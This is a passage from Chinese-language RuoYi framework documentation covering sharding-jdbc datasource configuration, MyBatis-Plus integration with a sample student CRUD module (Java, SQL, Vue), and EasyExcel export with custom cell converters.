# 数据源配置 spring: datasource: type: com.alibaba.druid.pool.DruidDataSource driverClassName: com.mysql.cj.jdbc.Driver druid: # 主库数据源 master: url: jdbc:mysql://localhost:3306/ry?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 username: root password: password # 订单库1 order1: enabled: true url: jdbc:mysql://localhost:3306/ry-order1?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 username: root password: password # 订单库2 order2: enabled: true url: jdbc:mysql://localhost:3306/ry-order2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 username: root password: password ...................
5、下载插件相关包和代码实现覆盖到工程中
提示
下载插件相关包和代码实现ruoyi/集成sharding-jdbc实现分库分表.zip
链接: https://pan.baidu.com/s/13JVC9jm-Dp9PfHdDDylLCQ 提取码: y9jt
6、测试验证
访问http://localhost/order/add/1
入库到ry-order2
访问http://localhost/order/add/2
入库到ry-order1
同时根据订单号order_id % 2
入库到sys_order_0
或者sys_order_1
8、集成mybatisplus实现mybatis增强
Mybatis-Plus
是在Mybatis
的基础上进行扩展,只做增强不做改变,可以兼容Mybatis
原生的特性。同时支持通用CRUD操作、多种主键策略、分页、性能分析、全局拦截等。极大帮助我们简化开发工作。
RuoYi-Vue
集成Mybatis-Plus
完整项目参考https://gitee.com/JavaLionLi/RuoYi-Vue-Plus (opens new window)。
1、ruoyi-common\pom.xml
模块添加整合依赖
<!-- mybatis-plus 增强CRUD --> <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus-boot-starter</artifactId> <version>3.4.2</version> </dependency>
2、ruoyi-admin
文件application.yml
,修改mybatis配置为mybatis-plus
# MyBatis Plus配置 mybatis-plus: # 搜索指定包别名 typeAliasesPackage: com.ruoyi.**.domain # 配置mapper的扫描,找到所有的mapper.xml映射文件 mapperLocations: classpath*:mapper/**/*Mapper.xml # 加载全局的配置文件 configLocation: classpath:mybatis/mybatis-config.xml
3、添加Mybatis Plus
配置MybatisPlusConfig.java
。 PS:原来的MyBatisConfig.java
需要删除掉
package com.ruoyi.framework.config; import com.baomidou.mybatisplus.annotation.DbType; import com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor; import com.baomidou.mybatisplus.extension.plugins.inner.BlockAttackInnerInterceptor; import com.baomidou.mybatisplus.extension.plugins.inner.OptimisticLockerInnerInterceptor; import com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.transaction.annotation.EnableTransactionManagement; /** * Mybatis Plus 配置 * * @author ruoyi */ @EnableTransactionManagement(proxyTargetClass = true) @Configuration public class MybatisPlusConfig { @Bean public MybatisPlusInterceptor mybatisPlusInterceptor() { MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor(); // 分页插件 interceptor.addInnerInterceptor(paginationInnerInterceptor()); // 乐观锁插件 interceptor.addInnerInterceptor(optimisticLockerInnerInterceptor()); // 阻断插件 interceptor.addInnerInterceptor(blockAttackInnerInterceptor()); return interceptor; } /** * 分页插件,自动识别数据库类型 https://baomidou.com/guide/interceptor-pagination.html */ public PaginationInnerInterceptor paginationInnerInterceptor() { PaginationInnerInterceptor paginationInnerInterceptor = new PaginationInnerInterceptor(); // 设置数据库类型为mysql paginationInnerInterceptor.setDbType(DbType.MYSQL); // 设置最大单页限制数量,默认 500 条,-1 不受限制 paginationInnerInterceptor.setMaxLimit(-1L); return paginationInnerInterceptor; } /** * 乐观锁插件 https://baomidou.com/guide/interceptor-optimistic-locker.html */ public OptimisticLockerInnerInterceptor optimisticLockerInnerInterceptor() { return new OptimisticLockerInnerInterceptor(); } /** * 如果是对全表的删除或更新操作,就会终止该操作 https://baomidou.com/guide/interceptor-block-attack.html */ public BlockAttackInnerInterceptor blockAttackInnerInterceptor() { return new BlockAttackInnerInterceptor(); } }
4、添加测试表和菜单信息
drop table if exists sys_student; create table sys_student ( student_id int(11) auto_increment comment '编号', student_name varchar(30) default '' comment '学生名称', student_age int(3) default null comment '年龄', student_hobby varchar(30) default '' comment '爱好(0代码 1音乐 2电影)', student_sex char(1) default '0' comment '性别(0男 1女 2未知)', student_status char(1) default '0' comment '状态(0正常 1停用)', student_birthday datetime comment '生日', primary key (student_id) ) engine=innodb auto_increment=1 comment = '学生信息表'; -- 菜单 sql insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark) values('学生信息', '3', '1', '/system/student', 'c', '0', 'system:student:view', '#', 'admin', sysdate(), '', null, '学生信息菜单'); -- 按钮父菜单id select @parentid := last_insert_id(); -- 按钮 sql insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark) values('学生信息查询', @parentid, '1', '#', 'f', '0', 'system:student:list', '#', 'admin', sysdate(), '', null, ''); insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark) values('学生信息新增', @parentid, '2', '#', 'f', '0', 'system:student:add', '#', 'admin', sysdate(), '', null, ''); insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark) values('学生信息修改', @parentid, '3', '#', 'f', '0', 'system:student:edit', '#', 'admin', sysdate(), '', null, ''); insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark) values('学生信息删除', @parentid, '4', '#', 'f', '0', 'system:student:remove', '#', 'admin', sysdate(), '', null, ''); insert into sys_menu (menu_name, parent_id, order_num, url, menu_type, visible, perms, icon, create_by, create_time, update_by, update_time, remark) values('学生信息导出', @parentid, '5', '#', 'f', '0', 'system:student:export', '#', 'admin', sysdate(), '', null, '');
5、新增测试代码验证 新增 ruoyi-system\com\ruoyi\system\controller\SysStudentController.java
package com.ruoyi.web.controller.system; import java.util.Arrays; import java.util.List; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.web.bind.annotation.DeleteMapping; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import com.ruoyi.common.annotation.Log; import com.ruoyi.common.core.controller.BaseController; import com.ruoyi.common.core.domain.AjaxResult; import com.ruoyi.common.core.page.TableDataInfo; import com.ruoyi.common.enums.BusinessType; import com.ruoyi.common.utils.poi.ExcelUtil; import com.ruoyi.system.domain.SysStudent; import com.ruoyi.system.service.ISysStudentService; /** * 学生信息Controller * * @author ruoyi */ @RestController @RequestMapping("/system/student") public class SysStudentController extends BaseController { @Autowired private ISysStudentService sysStudentService; /** * 查询学生信息列表 */ @PreAuthorize("@ss.hasPermi('system:student:list')") @GetMapping("/list") public TableDataInfo list(SysStudent sysStudent) { startPage(); List<SysStudent> list = sysStudentService.queryList(sysStudent); return getDataTable(list); } /** * 导出学生信息列表 */ @PreAuthorize("@ss.hasPermi('system:student:export')") @Log(title = "学生信息", businessType = BusinessType.EXPORT) @GetMapping("/export") public AjaxResult export(SysStudent sysStudent) { List<SysStudent> list = sysStudentService.queryList(sysStudent); ExcelUtil<SysStudent> util = new ExcelUtil<SysStudent>(SysStudent.class); return util.exportExcel(list, "student"); } /** * 获取学生信息详细信息 */ @PreAuthorize("@ss.hasPermi('system:student:query')") @GetMapping(value = "/{studentId}") public AjaxResult getInfo(@PathVariable("studentId") Long studentId) { return AjaxResult.success(sysStudentService.getById(studentId)); } /** * 新增学生信息 */ @PreAuthorize("@ss.hasPermi('system:student:add')") @Log(title = "学生信息", businessType = BusinessType.INSERT) @PostMapping public AjaxResult add(@RequestBody SysStudent sysStudent) { return toAjax(sysStudentService.save(sysStudent)); } /** * 修改学生信息 */ @PreAuthorize("@ss.hasPermi('system:student:edit')") @Log(title = "学生信息", businessType = BusinessType.UPDATE) @PutMapping public AjaxResult edit(@RequestBody SysStudent sysStudent) { return toAjax(sysStudentService.updateById(sysStudent)); } /** * 删除学生信息 */ @PreAuthorize("@ss.hasPermi('system:student:remove')") @Log(title = "学生信息", businessType = BusinessType.DELETE) @DeleteMapping("/{studentIds}") public AjaxResult remove(@PathVariable Long[] studentIds) { return toAjax(sysStudentService.removeByIds(Arrays.asList(studentIds))); } }
新增 ruoyi-system\com\ruoyi\system\domain\SysStudent.java
package com.ruoyi.system.domain; import java.io.Serializable; import java.util.Date; import org.apache.commons.lang3.builder.ToStringBuilder; import org.apache.commons.lang3.builder.ToStringStyle; import com.baomidou.mybatisplus.annotation.IdType; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import com.ruoyi.common.annotation.Excel; /** * 学生信息对象 sys_student * * @author ruoyi */ @TableName(value = "sys_student") public class SysStudent implements Serializable { @TableField(exist = false) private static final long serialVersionUID = 1L; /** 编号 */ @TableId(type = IdType.AUTO) private Long studentId; /** 学生名称 */ @Excel(name = "学生名称") private String studentName; /** 年龄 */ @Excel(name = "年龄") private Integer studentAge; /** 爱好(0代码 1音乐 2电影) */ @Excel(name = "爱好", readConverterExp = "0=代码,1=音乐,2=电影") private String studentHobby; /** 性别(0男 1女 2未知) */ @Excel(name = "性别", readConverterExp = "0=男,1=女,2=未知") private String studentSex; /** 状态(0正常 1停用) */ @Excel(name = "状态", readConverterExp = "0=正常,1=停用") private String studentStatus; /** 生日 */ @JsonFormat(pattern = "yyyy-MM-dd") @Excel(name = "生日", width = 30, dateFormat = "yyyy-MM-dd") private Date studentBirthday; public void setStudentId(Long studentId) { this.studentId = studentId; } public Long getStudentId() { return studentId; } public void setStudentName(String studentName) { this.studentName = studentName; } public String getStudentName() { return studentName; } public void setStudentAge(Integer studentAge) { this.studentAge = studentAge; } public Integer getStudentAge() { return studentAge; } public void setStudentHobby(String studentHobby) { this.studentHobby = studentHobby; } public String getStudentHobby() { return studentHobby; } public void setStudentSex(String studentSex) { this.studentSex = studentSex; } public String getStudentSex() { return studentSex; } public void setStudentStatus(String studentStatus) { this.studentStatus = studentStatus; } public String getStudentStatus() { return studentStatus; } public void setStudentBirthday(Date studentBirthday) { this.studentBirthday = studentBirthday; } public Date getStudentBirthday() { return studentBirthday; } @Override public String toString() { return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) .append("studentId", getStudentId()) .append("studentName", getStudentName()) .append("studentAge", getStudentAge()) .append("studentHobby", getStudentHobby()) .append("studentSex", getStudentSex()) .append("studentStatus", getStudentStatus()) .append("studentBirthday", getStudentBirthday()) .toString(); } }
新增 ruoyi-system\com\ruoyi\system\mapper\SysStudentMapper.java
package com.ruoyi.system.mapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.ruoyi.system.domain.SysStudent; /** * 学生信息Mapper接口 * * @author ruoyi */ public interface SysStudentMapper extends BaseMapper<SysStudent> { }
新增 ruoyi-system\com\ruoyi\system\service\ISysStudentService.java
package com.ruoyi.system.service; import java.util.List; import com.baomidou.mybatisplus.extension.service.IService; import com.ruoyi.system.domain.SysStudent; /** * 学生信息Service接口 * * @author ruoyi */ public interface ISysStudentService extends IService<SysStudent> { /** * 查询学生信息列表 * * @param sysStudent 学生信息 * @return 学生信息集合 */ public List<SysStudent> queryList(SysStudent sysStudent); }
新增 ruoyi-system\com\ruoyi\system\service\impl\SysStudentServiceImpl.java
package com.ruoyi.system.service.impl; import java.util.List; import org.springframework.stereotype.Service; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import com.ruoyi.common.utils.StringUtils; import com.ruoyi.system.domain.SysStudent; import com.ruoyi.system.mapper.SysStudentMapper; import com.ruoyi.system.service.ISysStudentService; /** * 学生信息Service业务层处理 * * @author ruoyi */ @Service public class SysStudentServiceImpl extends ServiceImpl<SysStudentMapper, SysStudent> implements ISysStudentService { @Override public List<SysStudent> queryList(SysStudent sysStudent) { // 注意:mybatis-plus lambda 模式不支持 eclipse 的编译器 // LambdaQueryWrapper<SysStudent> queryWrapper = Wrappers.lambdaQuery(); // queryWrapper.eq(SysStudent::getStudentName, sysStudent.getStudentName()); QueryWrapper<SysStudent> queryWrapper = Wrappers.query(); if (StringUtils.isNotEmpty(sysStudent.getStudentName())) { queryWrapper.eq("student_name", sysStudent.getStudentName()); } if (StringUtils.isNotNull(sysStudent.getStudentAge())) { queryWrapper.eq("student_age", sysStudent.getStudentAge()); } if (StringUtils.isNotEmpty(sysStudent.getStudentHobby())) { queryWrapper.eq("student_hobby", sysStudent.getStudentHobby()); } return this.list(queryWrapper); } }
新增 ruoyi-ui\src\views\system\student\index.vue
<template> <div class="app-container"> <el-form :model="queryParams" ref="queryForm" :inline="true" v-show="showSearch" label-width="68px"> <el-form-item label="学生名称" prop="studentName"> <el-input v-model="queryParams.studentName" placeholder="请输入学生名称" clearable size="small" @keyup.enter.native="handleQuery" /> </el-form-item> <el-form-item label="年龄" prop="studentAge"> <el-input v-model="queryParams.studentAge" placeholder="请输入年龄" clearable size="small" @keyup.enter.native="handleQuery" /> </el-form-item> <el-form-item label="爱好" prop="studentHobby"> <el-input v-model="queryParams.studentHobby" placeholder="请输入爱好" clearable size="small" @keyup.enter.native="handleQuery" /> </el-form-item> <el-form-item label="性别" prop="studentSex"> <el-select v-model="queryParams.studentSex" placeholder="请选择性别" clearable size="small"> <el-option label="请选择字典生成" value="" /> </el-select> </el-form-item> <el-form-item label="状态" prop="studentStatus"> <el-select v-model="queryParams.studentStatus" placeholder="请选择状态" clearable size="small"> <el-option label="请选择字典生成" value="" /> </el-select> </el-form-item> <el-form-item label="生日" prop="studentBirthday"> <el-date-picker clearable size="small" v-model="queryParams.studentBirthday" type="date" value-format="yyyy-MM-dd" placeholder="选择生日"> </el-date-picker> </el-form-item> <el-form-item> <el-button type="primary" icon="el-icon-search" size="mini" @click="handleQuery">搜索</el-button> <el-button icon="el-icon-refresh" size="mini" @click="resetQuery">重置</el-button> </el-form-item> </el-form> <el-row :gutter="10" class="mb8"> <el-col :span="1.5"> <el-button type="primary" plain icon="el-icon-plus" size="mini" @click="handleAdd" v-hasPermi="['system:student:add']" >新增</el-button> </el-col> <el-col :span="1.5"> <el-button type="success" plain icon="el-icon-edit" size="mini" :disabled="single" @click="handleUpdate" v-hasPermi="['system:student:edit']" >修改</el-button> </el-col> <el-col :span="1.5"> <el-button type="danger" plain icon="el-icon-delete" size="mini" :disabled="multiple" @click="handleDelete" v-hasPermi="['system:student:remove']" >删除</el-button> </el-col> <el-col :span="1.5"> <el-button type="warning" plain icon="el-icon-download" size="mini" @click="handleExport" v-hasPermi="['system:student:export']" >导出</el-button> </el-col> <right-toolbar :showSearch.sync="showSearch" @queryTable="getList"></right-toolbar> </el-row> <el-table v-loading="loading" :data="studentList" @selection-change="handleSelectionChange"> <el-table-column type="selection" width="55" align="center" /> <el-table-column label="编号" align="center" prop="studentId" /> <el-table-column label="学生名称" align="center" prop="studentName" /> <el-table-column label="年龄" align="center" prop="studentAge" /> <el-table-column label="爱好" align="center" prop="studentHobby" /> <el-table-column label="性别" align="center" prop="studentSex" /> <el-table-column label="状态" align="center" prop="studentStatus" /> <el-table-column label="生日" align="center" prop="studentBirthday" width="180"> <template slot-scope="scope"> <span>{{ parseTime(scope.row.studentBirthday, '{y}-{m}-{d}') }}</span> </template> </el-table-column> <el-table-column label="操作" align="center" class-name="small-padding fixed-width"> <template slot-scope="scope"> <el-button size="mini" type="text" icon="el-icon-edit" @click="handleUpdate(scope.row)" v-hasPermi="['system:student:edit']" >修改</el-button> <el-button size="mini" type="text" icon="el-icon-delete" @click="handleDelete(scope.row)" v-hasPermi="['system:student:remove']" >删除</el-button> </template> </el-table-column> </el-table> <pagination v-show="total>0" :total="total" :page.sync="queryParams.pageNum" :limit.sync="queryParams.pageSize" @pagination="getList" /> <!-- 添加或修改学生信息对话框 --> <el-dialog :title="title" :visible.sync="open" width="500px" append-to-body> <el-form ref="form" :model="form" :rules="rules" label-width="80px"> <el-form-item label="学生名称" prop="studentName"> <el-input v-model="form.studentName" placeholder="请输入学生名称" /> </el-form-item> <el-form-item label="年龄" prop="studentAge"> <el-input v-model="form.studentAge" placeholder="请输入年龄" /> </el-form-item> <el-form-item label="爱好" prop="studentHobby"> <el-input v-model="form.studentHobby" placeholder="请输入爱好" /> </el-form-item> <el-form-item label="性别" prop="studentSex"> <el-select v-model="form.studentSex" placeholder="请选择性别"> <el-option label="请选择字典生成" value="" /> </el-select> </el-form-item> <el-form-item label="状态"> <el-radio-group v-model="form.studentStatus"> <el-radio label="1">请选择字典生成</el-radio> </el-radio-group> </el-form-item> <el-form-item label="生日" prop="studentBirthday"> <el-date-picker clearable size="small" v-model="form.studentBirthday" type="date" value-format="yyyy-MM-dd" placeholder="选择生日"> </el-date-picker> </el-form-item> </el-form> <div slot="footer" class="dialog-footer"> <el-button type="primary" @click="submitForm">确 定</el-button> <el-button @click="cancel">取 消</el-button> </div> </el-dialog> </div> </template> <script> import { listStudent, getStudent, delStudent, addStudent, updateStudent, exportStudent } from "@/api/system/student"; export default { name: "Student", components: { }, data() { return { // 遮罩层 loading: true, // 选中数组 ids: [], // 非单个禁用 single: true, // 非多个禁用 multiple: true, // 显示搜索条件 showSearch: true, // 总条数 total: 0, // 学生信息表格数据 studentList: [], // 弹出层标题 title: "", // 是否显示弹出层 open: false, // 查询参数 queryParams: { pageNum: 1, pageSize: 10, studentName: null, studentAge: null, studentHobby: null, studentSex: null, studentStatus: null, studentBirthday: null }, // 表单参数 form: {}, // 表单校验 rules: { } }; }, created() { this.getList(); }, methods: { /** 查询学生信息列表 */ getList() { this.loading = true; listStudent(this.queryParams).then(response => { this.studentList = response.rows; this.total = response.total; this.loading = false; }); }, // 取消按钮 cancel() { this.open = false; this.reset(); }, // 表单重置 reset() { this.form = { studentId: null, studentName: null, studentAge: null, studentHobby: null, studentSex: null, studentStatus: "0", studentBirthday: null }; this.resetForm("form"); }, /** 搜索按钮操作 */ handleQuery() { this.queryParams.pageNum = 1; this.getList(); }, /** 重置按钮操作 */ resetQuery() { this.resetForm("queryForm"); this.handleQuery(); }, // 多选框选中数据 handleSelectionChange(selection) { this.ids = selection.map(item => item.studentId) this.single = selection.length!==1 this.multiple = !selection.length }, /** 新增按钮操作 */ handleAdd() { this.reset(); this.open = true; this.title = "添加学生信息"; }, /** 修改按钮操作 */ handleUpdate(row) { this.reset(); const studentId = row.studentId || this.ids getStudent(studentId).then(response => { this.form = response.data; this.open = true; this.title = "修改学生信息"; }); }, /** 提交按钮 */ submitForm() { this.$refs["form"].validate(valid => { if (valid) { if (this.form.studentId != null) { updateStudent(this.form).then(response => { this.msgSuccess("修改成功"); this.open = false; this.getList(); }); } else { addStudent(this.form).then(response => { this.msgSuccess("新增成功"); this.open = false; this.getList(); }); } } }); }, /** 删除按钮操作 */ handleDelete(row) { const studentIds = row.studentId || this.ids; this.$confirm('是否确认删除学生信息编号为"' + studentIds + '"的数据项?', "警告", { confirmButtonText: "确定", cancelButtonText: "取消", type: "warning" }).then(function() { return delStudent(studentIds); }).then(() => { this.getList(); this.msgSuccess("删除成功"); }) }, /** 导出按钮操作 */ handleExport() { const queryParams = this.queryParams; this.$confirm('是否确认导出所有学生信息数据项?', "警告", { confirmButtonText: "确定", cancelButtonText: "取消", type: "warning" }).then(function() { return exportStudent(queryParams); }).then(response => { this.download(response.msg); }) } } }; </script>
新增 ruoyi-ui\src\api\system\student.js
import request from '@/utils/request' // 查询学生信息列表 export function listStudent(query) { return request({ url: '/system/student/list', method: 'get', params: query }) } // 查询学生信息详细 export function getStudent(studentId) { return request({ url: '/system/student/' + studentId, method: 'get' }) } // 新增学生信息 export function addStudent(data) { return request({ url: '/system/student', method: 'post', data: data }) } // 修改学生信息 export function updateStudent(data) { return request({ url: '/system/student', method: 'put', data: data }) } // 删除学生信息 export function delStudent(studentId) { return request({ url: '/system/student/' + studentId, method: 'delete' }) } // 导出学生信息 export function exportStudent(query) { return request({ url: '/system/student/export', method: 'get', params: query }) }
6、登录系统测试学生菜单增删改查功能。
9、集成easyexcel实现excel表格增强
如果默认的excel
注解已经满足不了你的需求,可以使用excel
的增强解决方案easyexcel
,它是阿里巴巴开源的一个excel
处理框架,使用简单、功能特性多、以节省内存著称。
1、ruoyi-common\pom.xml
模块添加整合依赖
<!-- easyexcel --> <dependency> <groupId>com.alibaba</groupId> <artifactId>easyexcel</artifactId> <version>2.2.6</version> </dependency>
2、ExcelUtil.java
新增easyexcel
导出导入方法
import com.alibaba.excel.EasyExcel; /** * 对excel表单默认第一个索引名转换成list(EasyExcel) * * @param is 输入流 * @return 转换后集合 */ public List<T> importEasyExcel(InputStream is) throws Exception { return EasyExcel.read(is).head(clazz).sheet().doReadSync(); } /** * 对list数据源将其里面的数据导入到excel表单(EasyExcel) * * @param list 导出数据集合 * @param sheetName 工作表的名称 * @return 结果 */ public AjaxResult exportEasyExcel(List<T> list, String sheetName) { String filename = encodingFilename(sheetName); EasyExcel.write(getAbsoluteFile(filename), clazz).sheet(sheetName).doWrite(list); return AjaxResult.success(filename); }
3、模拟测试,以操作日志为例,修改相关类。
SysOperlogController.java改为exportEasyExcel
@Log(title = "操作日志", businessType = BusinessType.EXPORT) @RequiresPermissions("monitor:operlog:export") @PostMapping("/export") @ResponseBody public AjaxResult export(SysOperLog operLog) { List<SysOperLog> list = operLogService.selectOperLogList(operLog); ExcelUtil<SysOperLog> util = new ExcelUtil<SysOperLog>(SysOperLog.class); return util.exportEasyExcel(list, "操作日志"); }
SysOperLog.java修改为@ExcelProperty
注解
package com.ruoyi.system.domain; import java.util.Date; import org.apache.commons.lang3.builder.ToStringBuilder; import org.apache.commons.lang3.builder.ToStringStyle; import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; import com.alibaba.excel.annotation.ExcelProperty; import com.alibaba.excel.annotation.format.DateTimeFormat; import com.alibaba.excel.annotation.write.style.ColumnWidth; import com.alibaba.excel.annotation.write.style.HeadFontStyle; import com.alibaba.excel.annotation.write.style.HeadRowHeight; import com.ruoyi.common.core.domain.BaseEntity; import com.ruoyi.system.domain.read.BusiTypeStringNumberConverter; import com.ruoyi.system.domain.read.OperTypeConverter; import com.ruoyi.system.domain.read.StatusConverter; /** * 操作日志记录表 oper_log * * @author ruoyi */ @ExcelIgnoreUnannotated @ColumnWidth(16) @HeadRowHeight(14) @HeadFontStyle(fontHeightInPoints = 11) public class SysOperLog extends BaseEntity { private static final long serialVersionUID = 1L; /** 日志主键 */ @ExcelProperty(value = "操作序号") private Long operId; /** 操作模块 */ @ExcelProperty(value = "操作模块") private String title; /** 业务类型(0其它 1新增 2修改 3删除) */ @ExcelProperty(value = "业务类型", converter = BusiTypeStringNumberConverter.class) private Integer businessType; /** 业务类型数组 */ private Integer[] businessTypes; /** 请求方法 */ @ExcelProperty(value = "请求方法") private String method; /** 请求方式 */ @ExcelProperty(value = "请求方式") private String requestMethod; /** 操作类别(0其它 1后台用户 2手机端用户) */ @ExcelProperty(value = "操作类别", converter = OperTypeConverter.class) private Integer operatorType; /** 操作人员 */ @ExcelProperty(value = "操作人员") private String operName; /** 部门名称 */ @ExcelProperty(value = "部门名称") private String deptName; /** 请求url */ @ExcelProperty(value = "请求地址") private String operUrl; /** 操作地址 */ @ExcelProperty(value = "操作地址") private String operIp; /** 操作地点 */ @ExcelProperty(value = "操作地点") private String operLocation; /** 请求参数 */ @ExcelProperty(value = "请求参数") private String operParam; /** 返回参数 */ @ExcelProperty(value = "返回参数") private String jsonResult; /** 操作状态(0正常 1异常) */ @ExcelProperty(value = "状态", converter = StatusConverter.class) private Integer status; /** 错误消息 */ @ExcelProperty(value = "错误消息") private String errorMsg; /** 操作时间 */ @DateTimeFormat("yyyy-MM-dd HH:mm:ss") @ExcelProperty(value = "操作时间") private Date operTime; public Long getOperId() { return operId; } public void setOperId(Long operId) { this.operId = operId; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public Integer getBusinessType() { return businessType; } public void setBusinessType(Integer businessType) { this.businessType = businessType; } public Integer[] getBusinessTypes() { return businessTypes; } public void setBusinessTypes(Integer[] businessTypes) { this.businessTypes = businessTypes; } public String getMethod() { return method; } public void setMethod(String method) { this.method = method; } public String getRequestMethod() { return requestMethod; } public void setRequestMethod(String requestMethod) { this.requestMethod = requestMethod; } public Integer getOperatorType() { return operatorType; } public void setOperatorType(Integer operatorType) { this.operatorType = operatorType; } public String getOperName() { return operName; } public void setOperName(String operName) { this.operName = operName; } public String getDeptName() { return deptName; } public void setDeptName(String deptName) { this.deptName = deptName; } public String getOperUrl() { return operUrl; } public void setOperUrl(String operUrl) { this.operUrl = operUrl; } public String getOperIp() { return operIp; } public void setOperIp(String operIp) { this.operIp = operIp; } public String getOperLocation() { return operLocation; } public void setOperLocation(String operLocation) { this.operLocation = operLocation; } public String getOperParam() { return operParam; } public void setOperParam(String operParam) { this.operParam = operParam; } public String getJsonResult() { return jsonResult; } public void setJsonResult(String jsonResult) { this.jsonResult = jsonResult; } public Integer getStatus() { return status; } public void setStatus(Integer status) { this.status = status; } public String getErrorMsg() { return errorMsg; } public void setErrorMsg(String errorMsg) { this.errorMsg = errorMsg; } public Date getOperTime() { return operTime; } public void setOperTime(Date operTime) { this.operTime = operTime; } @Override public String toString() { return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) .append("operId", getOperId()) .append("title", getTitle()) .append("businessType", getBusinessType()) .append("businessTypes", getBusinessTypes()) .append("method", getMethod()) .append("requestMethod", getRequestMethod()) .append("operatorType", getOperatorType()) .append("operName", getOperName()) .append("deptName", getDeptName()) .append("operUrl", getOperUrl()) .append("operIp", getOperIp()) .append("operLocation", getOperLocation()) .append("operParam", getOperParam()) .append("status", getStatus()) .append("errorMsg", getErrorMsg()) .append("operTime", getOperTime()) .toString(); } }
添加字符串翻译内容
ruoyi-system\com\ruoyi\system\domain\read\BusiTypeStringNumberConverter.java
package com.ruoyi.system.domain.read; import com.alibaba.excel.converters.Converter; import com.alibaba.excel.enums.CellDataTypeEnum; import com.alibaba.excel.metadata.CellData; import com.alibaba.excel.metadata.GlobalConfiguration; import com.alibaba.excel.metadata.property.ExcelContentProperty; /** * 业务类型字符串处理 * * @author ruoyi */ @SuppressWarnings("rawtypes") public class BusiTypeStringNumberConverter implements Converter<Integer> { @Override public Class supportJavaTypeKey() { return Integer.class; } @Override public CellDataTypeEnum supportExcelTypeKey() { return CellDataTypeEnum.STRING; } @Override public Integer convertToJavaData(CellData cellData, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { Integer value = 0; String str = cellData.getStringValue(); if ("新增".equals(str)) { value = 1; } else if ("修改".equals(str)) { value = 2; } else if ("删除".equals(str)) { value = 3; } else if ("授权".equals(str)) { value = 4; } else if ("导出".equals(str)) { value = 5; } else if ("导入".equals(str)) { value = 6; } else if ("强退".equals(str)) { value = 7; } else if ("生成代码".equals(str)) { value = 8; } else if ("清空数据".equals(str)) { value = 9; } return value; } @Override public CellData convertToExcelData(Integer value, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { String str = "其他"; if (1 == value) { str = "新增"; } else if (2 == value) { str = "修改"; } else if (3 == value) { str = "删除"; } else if (4 == value) { str = "授权"; } else if (5 == value) { str = "导出"; } else if (6 == value) { str = "导入"; } else if (7 == value) { str = "强退"; } else if (8 == value) { str = "生成代码"; } else if (9 == value) { str = "清空数据"; } return new CellData(str); } }
ruoyi-system\com\ruoyi\system\domain\read\OperTypeConverter.java
package com.ruoyi.system.domain.read; import com.alibaba.excel.converters.Converter; import com.alibaba.excel.enums.CellDataTypeEnum; import com.alibaba.excel.metadata.CellData; import com.alibaba.excel.metadata.GlobalConfiguration; import com.alibaba.excel.metadata.property.ExcelContentProperty; /** * 操作类别字符串处理 * * @author ruoyi */ @SuppressWarnings("rawtypes") public class OperTypeConverter implements Converter<Integer> { @Override public Class supportJavaTypeKey() { return Integer.class; } @Override public CellDataTypeEnum supportExcelTypeKey() { return CellDataTypeEnum.STRING; } @Override public Integer convertToJavaData(CellData cellData, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { Integer value = 0; String str = cellData.getStringValue(); if ("后台用户".equals(str)) { value = 1; } else if ("手机端用户".equals(str)) { value = 2; } return value; } @Override public CellData convertToExcelData(Integer value, ExcelContentProperty contentProperty, GlobalConfiguration globalConfiguration) { String str = "其他"; if (1 == value) { str = "后台用户"; } else if (2 == value) { str = "手机端用户"; } return new CellData(str); } }
ruoyi-system\com\ruoyi\system\domain\read\StatusConverter.java
